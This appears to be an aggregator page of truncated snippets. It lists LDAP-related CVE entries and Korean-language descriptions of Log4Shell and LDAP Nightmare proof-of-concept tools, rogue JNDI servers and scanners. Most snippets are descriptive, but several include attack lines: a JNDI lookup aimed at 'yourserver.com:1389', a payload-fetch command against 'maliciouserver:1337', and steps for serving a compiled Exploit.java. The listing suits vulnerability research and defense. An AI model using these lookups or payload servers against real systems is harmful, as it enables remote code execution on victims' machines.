TeamPass 2.1.27.36 - Improper Authentication

TeamPass 2.1.27.36 is susceptible to improper authentication. An attacker can retrieve files from the TeamPass web root, which may include backups or LDAP debug files, and therefore possibly obtain sensitive information, modify data, and/or execute unauthorized operations. id: CVE-2020-12478 info...

Active Directory Integration WP Plugin < 4.1.10 - Log Disclosure

The Active Directory Integration / LDAP Integration WordPress plugin before 4.1.10 stores sensitive LDAP logs in a buffer file when an administrator wants to export said logs. Unfortunately, this log file is never removed, and remains accessible to any users knowing the URL to do so. id:...

LDAP Injection In OpenAM

OpenAM contains an LDAP injection vulnerability. When a user tries to reset his password, they are asked to enter username, and then the backend validates whether the user exists or not through an LDAP query. If the user exists, the password reset token is sent to the user's email. Enumeration ca...

SecurEnvoy Two Factor Authentication - LDAP Injection

Multiple LDAP injections vulnerabilities exist in SecurEnvoy MFA before 9.4.514 due to improper validation of user-supplied input. An unauthenticated remote attacker could exfiltrate data from Active Directory through blind LDAP injection attacks against the DESKTOP service exposed on the...

Alerta < 8.1.0 - Authentication Bypass

Alerta prior to version 8.1.0 is prone to authentication bypass when using LDAP as an authorization provider and the LDAP server accepts Unauthenticated Bind requests. id: CVE-2020-26214 info: name: Alerta 8.1.0 - Authentication Bypass author: CasperGN,daffainfo severity: critical description:...

Cobbler - Authentication Bypass

Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ and possibly even older versions, may be vulnerable to an authentication bypass vulnerability in XMLRPC API /cobblerapi that can result in privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting...

log4j_github_repository

본 작업에는 CVE-2021-44228log4j에 대한 테스트 및 개선 도구가 포함되어 있습니다 본 연구의 목적은 블루 팀과 레드 팀이 Log4j 취약점에 대응할 때 사용할 수 있는 유용한 도구를 나열하는 것입니다. Github 링크의 우회 도구, 스캐닝, 탐지 메커니즘 등을 사용할 수 있습니다. 스캐닝 또는 POC 🔴 제목: log4j-shell-poc 🔴 설명: 최근 발견된 CVE-2021-44228 취약점에 대한 개념 증명PoC. 🔴 URL: https://github.com/kozmer/log4j-shell-poc 🔴...

rogue-jndi

Rogue JNDI JNDI 인젝션 공격을 위한 악성 LDAP 서버. 설명 이 프로젝트는 기본적으로 안전하지 않은 Java JNDI API를 악용하기 위한 LDAP 및 HTTP 서버를 포함합니다. 공격을 수행하려면 로컬에서 이러한 서버를 시작한 다음 취약한 클라이언트에서 JNDI 조회를 트리거할 수 있습니다. 예: root@kitploit: InitialContext.doLookup"ldap://yourserver.com:1389/o=reference"; 그러면 취약한 클라이언트에서 로컬 LDAP 서버로의 연결이 시작됩니다. ...

CVE-2021-44228

CVE-2021-44228Apache Log4j 원격 코드 실행 모든 log4j-core 버전 =2.0-beta9 및 =2.14.1 1.x 버전에는 다른 취약점이 있으므로 최신 버전으로 업데이트할 것을 권장합니다. Log4ShellCVE-2021-44228과 관련된 보안 권고/게시판 사용법: 이 프로젝트를 다운로드하고, 익스플로잇 코드 blob/master/src/main/java/Exploit.java를 컴파일한 후, 컴파일된 바이너리를 다운로드할 수 있게 하는 웹서버를 시작하세요. root@kitploit: git clon...

log4shell

Log4Shell 이 프로젝트는 log4shell 보안 취약점의 작동 방식을 시연하기 위한 것입니다. 이 취약점은 CVE-2021-44228에 설명되어 있습니다. 이 프로젝트는 교육 목적으로만 사용됩니다. 자신의 시스템에서만, 실험 목적으로만 사용해야 합니다. 모든 실행은 사용자 본인의 책임 하에 이루어집니다. 저자는 프로젝트 실행으로 인해 발생하는 사고에 대해 어떠한 책임도 지지 않습니다. 명령어 예시 root@kitploit:...

CVE-2024-49113-Checker

CVE-2024-49113-Checker 사용자 환경이 CVE-2024-49113LDAP Nightmare에 잠재적으로 취약한지 테스트하는 스크립트입니다. 이 스크립트는 다음을 수행합니다: RPC 연결 확인 LDAP 포트 테스트 Netlogon 서비스 검증 LDAP 콜백 검증 root@kitploit: usage : python CVE-2024-49113-checker.py root@kitploit: Example Scan a single IP python CVE-2024-49113-checker.py 192.168.1.1...

Log4Shell

Log4Shell 이 저장소는 Log4j 2021CVE-2021-44228 취약점 시연 및 완화를 위한 것입니다. Log4Shell이란 무엇인가? CVE-2021-44228 / Log4Shell 취약점은 취약한 소프트웨어에 악성 페이로드를 주입하여, Log4J가 JNDI와 LDAP 프로토콜을 통해 제3자 소스에서 값을 가져오도록 요청하게 만드는 것입니다. ... 가져온 데이터는 코드일 수 있으며, 해당 코드는 시스템에서 Log4J에 의해 실행됩니다. 개념 증명 비디오 튜토리얼 1. 우리는 Docker에서...

Log4j_Vulnerability_Demo

Log4jVulnerabilityDemo Log4j 취약점CVE-2021-44228이 어떻게 악용될 수 있는지 보여주는 간단한 프로그램입니다. 데모 실행 방법 : 프로그램을 시작하려면 UNIX 시스템에서는 start.sh를, Windows에서는 start.bat를 실행하면 됩니다. 사용자 입력은 Log4j 프레임워크를 사용하여 콘솔에 읽혀지고 기록됩니다. 기본적으로 Log4j 라이브러리에서 생성된 로깅 메시지는 JNDI 치환에 대해 서버 연결 불가 / 호스트를 찾을 수 없음 오류를 제공하지 않습니다. 그리고 이것이 이 취약점이...

CVE-2024-49112

LDAP Nightmare Yuki Chen@guhe120이 보고한 CVE-2024-49112에 대한 익스플로잇입니다. Windows 경량 디렉터리 액세스 프로토콜LDAP의 취약점입니다. SafeBreach Labs 제작2025년 1월 1일 게시. 취약점에 대한 전체 기술 분석 및 익스플로잇 방법은 블로그 게시물 여기에서 확인하세요. 개요 CVE-2024-49112는 Microsoft에 따르면 원격 코드 실행을 허용하는 Windows LDAP 클라이언트의 치명적인 취약점입니다. 이 익스플로잇은 Netlogon 원격 프로토콜NR...

CVE-2026-42568

CVE-2026-42568 — YAMCS LdapAuthModule의 LDAP 인젝션 요약 org.yamcs.security.LdapAuthModule에 LDAP 인젝션 취약점이 존재합니다. 사용자 이름 매개변수가 RFC 4515 이스케이프 처리 없이 LDAP 검색 필터에 직접 삽입되어 인증 우회가 가능합니다...

Zimbra Collaboration Server 7.2.2/8.0.2 Local File Inclusion

A directory traversal vulnerability in /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz in Zimbra 7.2.2 and 8.0.2 allows remote attackers to read arbitrary files via a .. dot dot in the skin parameter. This can be leveraged to execute arbitrary code by obtaining LDAP...

CVE-2021-44228

Log4Shell 개념 증명 이 저장소는 CVE-2021-44228 취약점에 대한 개념 증명입니다. 이 저장소는 이 저장소에서 파생되었습니다. 이 저장소에서는 취약한 애플리케이션의 예와 이를 익스플로잇하는 방법에 대한 데모를 만들었습니다. 개념 증명 구성 요소 저는 이 취약점의 생성을 자동화하기 위해 상위 파이썬 스크립트를 수정했습니다. 이 저장소에는 쉽게 사용할 수 있도록 두 개의 Dockerfile이 있습니다. Docker-Ldap 이 Docker 이미지에서는 제 구글 드라이브에서 자바 jdk-8u20을 다운로드합니다. 오...

Log4jTools

Log4jTools Log4j CVE-2021-44228 조사를 위한 도구 버그 설명 및 데모 https://www.youtube.com/watch?v=0-abhd-CLwQ FetchPayload.py JNDI 조회에서 제공된 ldap 경로에서 java 페이로드 가져오기. 요구 사항: curl 시스템, requests 파이썬 예제 명령: root@kitploit: python FetchPayload.py ldap://maliciouserver:1337/path + getting object from...

log4shell_scanner

log4shellscanner 빠르고 간단한 스캐너로, 일반적인 포트를 스캔하여 Log4Shell CVE-2021-44228 취약점을 탐색합니다. 이 도구는 wget, curl, nmap 및 Log4Shell Huntress LDAP 엔드포인트를 사용합니다: https://log4shell.huntress.com/ 인터넷에 접속할 수 없는 사설 서브넷을 스캔해야 한다면, 다음 소스 코드를 사용하여 자체 HTTP 및 LDAP 서버를 구축할 수 있습니다:...

Wireshark

Wireshark 악성코드 분석 설명 이 실습에서는 Log4j 취약점을 악용한 알려진 악성 패킷 캡처를 분석했습니다. 패킷 캡처 분석 시 사용하는 동일한 플레이북으로 조사를 시작했습니다. 즉, 통계를 확인하고 엔드포인트 간 통신량을 살펴보는 것입니다. 엄청난 수의 IP 주소를 발견하고 이를 지도에 표시하기 위해 Max Mind의 GEOIP 데이터베이스를 설치 및 구성하여 IP 주소를 국가와 도시로 변환했습니다. 이 많은 IP 주소는 Log4j 취약점이나 기타 악성 스캐닝을 위한 봇넷의 잠재적 공격을 의미합니다. 캡처된 트래픽이...